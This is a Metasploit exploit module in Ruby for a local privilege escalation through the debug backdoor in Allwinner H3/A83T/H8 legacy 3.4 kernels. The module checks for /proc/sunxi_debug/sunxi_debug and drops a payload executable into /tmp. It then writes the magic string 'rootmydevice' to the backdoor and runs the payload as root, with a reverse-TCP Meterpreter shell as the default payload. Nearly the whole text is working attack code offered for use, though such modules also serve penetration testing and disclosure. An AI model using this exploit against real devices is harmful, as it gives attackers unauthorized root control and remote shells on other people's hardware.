Allwinner 3.4 Legacy Kernel Local Privilege Escalation

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        "Name"           => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation",
        "Description"    => %q{
          This module attempts to exploit a debug backdoor privilege escalation in
          Allwinner SoC based devices.
          Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
          Vulnerable OS: all OS images available for Orange Pis,
                         any for FriendlyARM's NanoPi M1,
                         SinoVoip's M2+ and M3,
                         Cuebietech's Cubietruck +
                         Linksprite's pcDuino8 Uno
          Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
        },
        "License"        => MSF_LICENSE,
        "Author"         =>
          [
            "h00die <mike@stcyrsecurity.com>",  # Module
            "KotCzarny"                         # Discovery
          ],
        "Platform"       => [ "android", "linux" ],
        "DisclosureDate" => "Apr 30 2016",
        "DefaultOptions" => {
          "payload" => "linux/armle/mettle/reverse_tcp"
        },
        "Privileged"     => true,
        "Arch"           => ARCH_ARMLE,
        "References"     =>
          [
            [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
            [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
                     "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
            [ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
          ],
        "SessionTypes"   => [ "shell", "meterpreter" ],
        'Targets'        =>
          [
            [ 'Auto',           { } ]
          ],
        'DefaultTarget'  => 0,
      ))
  end

  def check
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      pl = generate_payload_exe

      exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
      vprint_good "Backdoor Found, writing payload to #{exe_file}"
      write_file(exe_file, pl)
      cmd_exec("chmod +x #{exe_file}")

      vprint_good 'Escalating'
      cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
    else
      print_error "Backdoor #{backdoor} not found."
    end
  end
end